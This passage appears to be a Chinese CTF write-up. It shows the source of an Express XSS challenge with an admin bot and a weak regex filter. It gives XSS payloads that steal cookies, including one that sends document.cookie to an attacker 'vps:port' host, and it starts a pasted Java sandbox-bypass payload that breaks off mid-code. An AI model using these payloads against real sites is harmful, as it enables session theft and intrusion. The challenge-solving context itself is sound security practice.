class="keyword">const</span> bodyParser = <span class="built_in">require</span>(<span class="string">'body-parser'</span>);</span><br><span class="line"><span class="keyword">const</span> app = <span class="title function_">express</span>();</span><br><span class="line"><span class="keyword">const</span> port = <span class="number">3000</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="title class_">AdminPassWord</span>=<span class="title function_">stringRandom</span>(<span class="number">16</span>, { <span class="attr">numbers</span>: <span class="literal">true</span> })</span><br><span class="line"><span class="keyword">const</span> <span class="title class_">PrivilegedPassWord</span>=<span class="title function_">stringRandom</span>(<span class="number">16</span>, { <span class="attr">numbers</span>: <span class="literal">true</span> })</span><br><span class="line"><span class="keyword">const</span> <span class="title class_">PlainPassWord</span>=<span class="title function_">stringRandom</span>(<span class="number">16</span>, { <span class="attr">numbers</span>: <span class="literal">true</span> })</span><br><span class="line"><span class="keyword">const</span> secret_key=<span class="title function_">stringRandom</span>(<span class="number">16</span>, { <span class="attr">numbers</span>: <span class="literal">true</span> })</span><br><span class="line"><span class="keyword">const</span> users = [];</span><br><span class="line"><span class="keyword">const</span> posts = [];</span><br><span class="line"><span class="keyword">const</span> store = [];</span><br><span class="line">users.<span class="title function_">push</span>({ <span class="attr">username</span>:<span class="string">"admin"</span>, <span class="attr">password</span>:<span class="title class_">AdminPassWord</span>, <span class="attr">role</span>: <span class="string">"admin"</span> });</span><br><span class="line">users.<span class="title function_">push</span>({ <span class="attr">username</span>:<span class="string">"privileged"</span>, <span class="attr">password</span>:<span class="title class_">PrivilegedPassWord</span>, <span class="attr">role</span>: <span class="string">"privileged"</span> });</span><br><span class="line">users.<span class="title function_">push</span>({ <span class="attr">username</span>:<span class="string">"plain"</span>, <span class="attr">password</span>:<span class="title class_">PlainPassWord</span>, <span class="attr">role</span>: <span class="string">"plain"</span> });</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(users)</span><br><span class="line">app.<span class="title function_">use</span>(express.<span class="title function_">static</span>(<span class="string">'views'</span>));</span><br><span class="line">app.<span class="title function_">set</span>(<span class="string">'view engine'</span>, <span class="string">'ejs'</span>);</span><br><span class="line">app.<span class="title function_">use</span>(bodyParser.<span class="title function_">urlencoded</span>({ <span class="attr">extended</span>: <span class="literal">true</span> }));</span><br><span class="line">app.<span class="title function_">use</span>(<span class="title function_">session</span>({</span><br><span class="line"> <span class="attr">secret</span>: secret_key,</span><br><span class="line"> <span class="attr">resave</span>: <span class="literal">false</span>,</span><br><span class="line"> <span class="attr">saveUninitialized</span>: <span class="literal">true</span>,</span><br><span class="line"> <span class="attr">cookie</span>: {</span><br><span class="line"> <span class="attr">httpOnly</span>: <span class="literal">false</span>,</span><br><span class="line"> <span class="attr">secure</span>: <span class="literal">false</span>,</span><br><span class="line"> }</span><br><span class="line">}));</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app.<span class="title function_">use</span>(<span class="string">'/'</span>, <span class="built_in">require</span>(<span class="string">'./index'</span>)(users,posts,store,<span class="title class_">AdminPassWord</span>,<span class="title class_">PrivilegedPassWord</span>));</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">listen</span>(port, <span class="function">() =></span> {</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`App is running on http://localhost:<span class="subst">${port}</span>`</span>);</span><br><span class="line">});</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">#bot.<span class="property">js</span></span><br><span class="line"><span class="keyword">const</span> puppeteer = <span class="built_in">require</span>(<span class="string">'puppeteer'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">function</span> <span class="title function_">triggerXSS</span>(<span class="params">UserName, PassWord</span>) {</span><br><span class="line"> <span class="keyword">const</span> browser = <span class="keyword">await</span> puppeteer.<span class="title function_">launch</span>({</span><br><span class="line"> <span class="attr">args</span>: [<span class="string">'--no-sandbox'</span>, <span class="string">'--disable-setuid-sandbox'</span>],</span><br><span class="line"> <span class="attr">executablePath</span>: <span class="string">'/usr/bin/chromium'</span>,</span><br><span class="line"> <span class="attr">headless</span>: <span class="literal">true</span></span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> page = <span class="keyword">await</span> browser.<span class="title function_">newPage</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">await</span> page.<span class="title function_">goto</span>(<span class="string">'http://localhost:3000/login'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">await</span> page.<span class="title function_">type</span>(<span class="string">'input[name="username"]'</span>, <span class="title class_">UserName</span>);</span><br><span class="line"> <span class="keyword">await</span> page.<span class="title function_">type</span>(<span class="string">'input[name="password"]'</span>, <span class="title class_">PassWord</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">await</span> page.<span class="title function_">click</span>(<span class="string">'button[type="submit"]'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">await</span> page.<span class="title function_">goto</span>(<span class="string">'http://localhost:3000/'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">await</span> browser.<span class="title function_">close</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="variable language_">module</span>.<span class="property">exports</span> = { triggerXSS };</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br></pre></td><td class="code"><pre><span class="line">#index.<span class="property">js</span></span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">'fs'</span>);</span><br><span class="line"><span class="keyword">const</span> express = <span class="built_in">require</span>(<span class="string">'express'</span>);</span><br><span class="line"><span class="keyword">const</span> router = express.<span class="title class_">Router</span>();</span><br><span class="line"><span class="keyword">const</span> { triggerXSS } = <span class="built_in">require</span>(<span class="string">'../bot'</span>);</span><br><span class="line"><span class="keyword">const</span> { <span class="title class_">Store</span> } = <span class="built_in">require</span>(<span class="string">'express-session'</span>);</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">isAuthenticated</span>(<span class="params">req, res, next</span>) {</span><br><span class="line"> <span class="keyword">if</span> (req.<span class="property">session</span>.<span class="property">user</span>) {</span><br><span class="line"> <span class="title function_">next</span>();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> res.<span class="title function_">redirect</span>(<span class="string">'/login'</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="variable language_">module</span>.<span class="property">exports</span> = <span class="function">(<span class="params">users,posts,store,AdminPassWord,PrivilegedPassWord</span>) =></span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> <span class="variable constant_">ROLES</span> = {</span><br><span class="line"> <span class="attr">PLAIN</span>: <span class="string">"plain"</span>,</span><br><span class="line"> <span class="attr">PRIVILEGED</span>: <span class="string">"privileged"</span>,</span><br><span class="line"> <span class="attr">ADMIN</span>: <span class="string">"admin"</span>,</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> router.<span class="title function_">get</span>(<span class="string">'/register'</span>, <span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> res.<span class="title function_">sendFile</span>(<span class="string">'register.html'</span>, { <span class="attr">root</span>: <span class="string">'./views'</span> });</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> router.<span class="title function_">post</span>(<span class="string">'/register'</span>, <span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> <span class="keyword">const</span> { username, password, role } = req.<span class="property">body</span>;</span><br><span class="line"> <span class="keyword">const</span> userExists = users.<span class="title function_">some</span>(<span class="function"><span class="params">u</span> =></span> u.<span class="property">username</span> === username);</span><br><span class="line"> <span class="keyword">if</span> (userExists) {</span><br><span class="line"> <span class="keyword">return</span> res.<span class="title function_">send</span>(<span class="string">'Username already exists!'</span>);</span><br><span class="line"> }</span><br><span class="line"> users.<span class="title function_">push</span>({ username, password, <span class="attr">role</span>: <span class="string">"plain"</span> });</span><br><span class="line"> res.<span class="title function_">redirect</span>(<span class="string">'/login'</span>);</span><br><span class="line"> });</span><br><span class="line"> router.<span class="title function_">get</span>(<span class="string">'/login'</span>, <span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> res.<span class="title function_">sendFile</span>(<span class="string">'login.html'</span>, { <span class="attr">root</span>: <span class="string">'./views'</span> });</span><br><span class="line"> });</span><br><span class="line"></span><br><span class="line"> router.<span class="title function_">post</span>(<span class="string">'/login'</span>, <span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> <span class="keyword">const</span> { username, password } = req.<span class="property">body</span>;</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">log</span>(username);</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">log</span>(password);</span><br><span class="line"> <span class="keyword">const</span> user = users.<span class="title function_">find</span>(<span class="function"><span class="params">u</span> =></span> u.<span class="property">username</span> === username && u.<span class="property">password</span> === password);</span><br><span class="line"> <span class="keyword">if</span> (user) {</span><br><span class="line"> req.<span class="property">session</span>.<span class="property">user</span> = user;</span><br><span class="line"> res.<span class="title function_">redirect</span>(<span class="string">'/'</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> res.<span class="title function_">send</span>(<span class="string">'Invalid credentials!'</span>);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> router.<span class="title function_">get</span>(<span class="string">'/'</span>, isAuthenticated, <span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> <span class="keyword">const</span> currentUser = req.<span class="property">session</span>.<span class="property">user</span>;</span><br><span class="line"> <span class="keyword">let</span> filteredPosts = [];</span><br><span class="line"> <span class="keyword">if</span> (currentUser.<span class="property">role</span> === <span class="variable constant_">ROLES</span>.<span class="property">ADMIN</span>) {</span><br><span class="line"> filteredPosts = posts.<span class="title function_">filter</span>(<span class="function"><span class="params">p</span> =></span> p.<span class="property">role</span> === <span class="variable constant_">ROLES</span>.<span class="property">PRIVILEGED</span> || p.<span class="property">role</span> === <span class="variable constant_">ROLES</span>.<span class="property">ADMIN</span>);</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (currentUser.<span class="property">role</span> === <span class="variable constant_">ROLES</span>.<span class="property">PRIVILEGED</span>) {</span><br><span class="line"> filteredPosts = posts.<span class="title function_">filter</span>(<span class="function"><span class="params">p</span> =></span> p.<span class="property">role</span> === <span class="variable constant_">ROLES</span>.<span class="property">PLAIN</span> || p.<span class="property">role</span> === <span class="variable constant_">ROLES</span>.<span class="property">PRIVILEGED</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> filteredPosts = posts.<span class="title function_">filter</span>(<span class="function"><span class="params">p</span> =></span> p.<span class="property">role</span> === <span class="variable constant_">ROLES</span>.<span class="property">PLAIN</span>);</span><br><span class="line"> }</span><br><span class="line"> res.<span class="title function_">render</span>(<span class="string">`<span class="subst">${currentUser.role}</span>`</span>, { <span class="attr">posts</span>: filteredPosts, <span class="attr">user</span>: currentUser });</span><br><span class="line"> });</span><br><span class="line"> router.<span class="title function_">post</span>(<span class="string">'/post'</span>, isAuthenticated, <span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> <span class="keyword">let</span> { content } = req.<span class="property">body</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> scriptTagRegex = <span class="regexp">/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(scriptTagRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> eventHandlerRegex = <span class="regexp">/on\w+\s*=\s*(["']).*?\1/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(eventHandlerRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> javascriptURLRegex = <span class="regexp">/(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(javascriptURLRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> dataURLRegex = <span class="regexp">/(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(dataURLRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> cssExpressionRegex = <span class="regexp">/style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(cssExpressionRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> dangerousTagsRegex = <span class="regexp">/<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(dangerousTagsRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> dangerousAttributesRegex = <span class="regexp">/\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(dangerousAttributesRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> dangerousProtocolsRegex = <span class="regexp">/(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(dangerousProtocolsRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">const</span> dangerousFunctionsRegex = <span class="regexp">/\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi</span>;</span><br><span class="line"> content = content.<span class="title function_">replace</span>(dangerousFunctionsRegex, <span class="string">'[XSS attempt blocked]'</span>);</span><br><span class="line"> </span><br><span class="line"> posts.<span class="title function_">push</span>({ <span class="attr">content</span>: content, <span class="attr">username</span>: req.<span class="property">session</span>.<span class="property">user</span>.<span class="property">username</span>, <span class="attr">role</span>: req.<span class="property">session</span>.<span class="property">user</span>.<span class="property">role</span> });</span><br><span class="line"> res.<span class="title function_">redirect</span>(<span class="string">'/'</span>);</span><br><span class="line"> });</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"> router.<span class="title function_">get</span>(<span class="string">'/logout'</span>, <span class="function">(<span class="params">req, res</span>) =></span> {</span><br><span class="line"> req.<span class="property">session</span>.<span class="title function_">destroy</span>();</span><br><span class="line"> res.<span class="title function_">redirect</span>(<span class="string">'/login'</span>);</span><br><span class="line"> });</span><br><span class="line"> router.<span class="title function_">get</span>(<span class="string">'/report_admin'</span>, <span class="keyword">async</span> (req, res) => {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">await</span> <span class="title function_">triggerXSS</span>(<span class="string">"admin"</span>,<span class="title class_">AdminPassWord</span>);</span><br><span class="line"> res.<span class="title function_">send</span>(<span class="string">`Admin Bot successfully logged in.`</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (error) {</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">'Error Reporting:'</span>, error);</span><br><span class="line"> res.<span class="title function_">send</span>(<span class="string">`Admin Bot successfully logged in.`</span>);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> router.<span class="title function_">get</span>(<span class="string">'/report_privileged'</span>, <span class="keyword">async</span> (req, res) => {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">await</span> <span class="title function_">triggerXSS</span>(<span class="string">"privileged"</span>,<span class="title class_">PrivilegedPassWord</span>);</span><br><span class="line"> res.<span class="title function_">send</span>(<span class="string">`Privileged Bot successfully logged in.`</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (error) {</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">'Error Reporting:'</span>, error);</span><br><span class="line"> res.<span class="title function_">send</span>(<span class="string">`Privileged Bot successfully logged in.`</span>);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> router.<span class="title function_">get</span>(<span class="string">'/store'</span>, <span class="keyword">async</span> (req, res) => {</span><br><span class="line"> <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">200</span>).<span class="title function_">json</span>(store);</span><br><span class="line"> });</span><br><span class="line"> router.<span class="title function_">post</span>(<span class="string">'/store'</span>, <span class="keyword">async</span> (req, res) => {</span><br><span class="line"> <span class="keyword">if</span> (req.<span class="property">body</span>) {</span><br><span class="line"> store.<span class="title function_">push</span>(req.<span class="property">body</span>);</span><br><span class="line"> <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">200</span>).<span class="title function_">send</span>(<span class="string">'Data stored successfully'</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">400</span>).<span class="title function_">send</span>(<span class="string">'No data received'</span>);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> router.<span class="title function_">get</span>(<span class="string">'/flag'</span>, <span class="keyword">async</span> (req, res) => {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">if</span> (req.<span class="property">session</span>.<span class="property">user</span> && req.<span class="property">session</span>.<span class="property">user</span>.<span class="property">role</span> === <span class="string">"admin"</span>) {</span><br><span class="line"> fs.<span class="title function_">readFile</span>(<span class="string">'/flag'</span>, <span class="string">'utf8'</span>, <span class="function">(<span class="params">err, data</span>) =></span> {</span><br><span class="line"> <span class="keyword">if</span> (err) {</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">'Error reading flag file:'</span>, err);</span><br><span class="line"> <span class="keyword">return</span> res.<span class="title function_">status</span>(<span class="number">500</span>).<span class="title function_">send</span>(<span class="string">'Internal Server Error'</span>);</span><br><span class="line"> }</span><br><span class="line"> res.<span class="title function_">send</span>(<span class="string">`Your Flag Here: <span class="subst">${data}</span>`</span>);</span><br><span class="line"> });</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> res.<span class="title function_">status</span>(<span class="number">403</span>).<span class="title function_">send</span>(<span class="string">'Unauthorized!'</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (error) {</span><br><span class="line"> <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">'Error fetching flag:'</span>, error);</span><br><span class="line"> res.<span class="title function_">status</span>(<span class="number">500</span>).<span class="title function_">send</span>(<span class="string">'Internal Server Error'</span>);</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line"> <span class="keyword">return</span> router;</span><br><span class="line">};</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>这个题一眼xss嘛,然后有两种解题思路,一个是插入js代码利用/store路由,然后访问/report_privileged将privilege用户的cookie储存到/store中,然后同样的步骤再来一次获取admin的cookie</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><script><span class="title function_">fetch</span>(<span class="string">'/store'</span>,{<span class="attr">body</span>:<span class="string">"''p"</span>+<span class="string">`rivileged_cookie''=`</span>+<span class="built_in">encodeURIComponent</span>(<span class="variable language_">document</span>.<span class="property">cookie</span>),<span class="attr">method</span>:<span class="string">'POST'</span>,<span class="attr">headers</span>:{<span class="string">'Content-Type'</span>:<span class="string">'application/x-www-form-urlencoded'</span>}})</script</span><br><span class="line">></span><br></pre></td></tr></table></figure>
<p>或者就是直接弹出privilege和admin的cookie</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><img src="" onerror=document.location='http://vps:port?cookie='+document.cookie /></span><br></pre></td></tr></table></figure>
<h1 id="OnlineRunner"><a href="#OnlineRunner" class="headerlink" title="OnlineRunner"></a>OnlineRunner</h1><p>这道题没有办法用import的方式来导入类,能执行命令的都不能用,反射也没有办法直接执行命令,看别的师傅是要绕过一个沙箱</p>
<p><a target="_blank" rel="noopener" href="https://vidar-team.feishu.cn/docx/AUvRdig4roPFOuxRvxAcpT81n9b">探索Java RASP Bypass新姿势</a></p>
<p>这里我还是有点懵,直接贴别的师傅的payload</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br></pre></td><td class="code"><pre><span class="line">String[] files = {<span class="string">"/proc/net/tcp"</span>, <span class="string">"/proc/net/tcp6"</span>};</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">f</span> <span class="operator">=</span> <span class="number">0</span>; f < files.length; f++) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> java.io.<span class="type">BufferedReader</span> <span class="variable">reader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(<span class="keyword">new</span> <span class="title class_">java</span>.io.FileReader(files[f]));</span><br><span class="line"> String line;</span><br><span class="line"> reader.readLine(); <span class="comment">// Skip header line</span></span><br><span class="line"> <span class="keyword">while</span> ((line = reader.readLine()) != <span class="literal">null</span>) {</span><br><span class="line"> line = line.trim();</span><br><span class="line"> String[] parts = line.split(<span class="string">"\\s+"</span>);</span><br><span class="line"> <span class="keyword">if</span> (parts.length > <span class="number">3</span>) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">local_address</span> <span class="operator">=</span> parts[<span class="number">1</span>];</span><br><span class="line"> <span class="type">String</span> <span class="variable">state</span> <span class="operator">=</span> parts[<span class="number">3</span>];</span><br><span class="line"> <span class="comment">// State 0A means LISTEN</span></span><br><span class="line"> <span class="keyword">if</span> (state.equals(<span class="string">"0A"</span>)) {</span><br><span class="line"> String[] addrPort = local_address.split(<span class="string">":"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">ipHex</span> <span class="operator">=</span> addrPort[<span class="number">0</span>];</span><br><span class="line"> <span class="type">String</span> <span class="variable">portHex</span> <span class="operator">=</span> addrPort[<span class="number">1</span>];</span><br><span class="line"> <span class="type">String</span> <span class="variable">ip</span> <span class="operator">=</span> <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">if</span> (files[f].endsWith(<span class="string">"tcp6"</span>)) {</span><br><span class="line"> <span class="comment">// IPv6 address parsing</span></span><br><span class="line"> <span class="type">StringBuilder</span> <span class="variable">ipBuilder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> ipHex.length(); i > <span 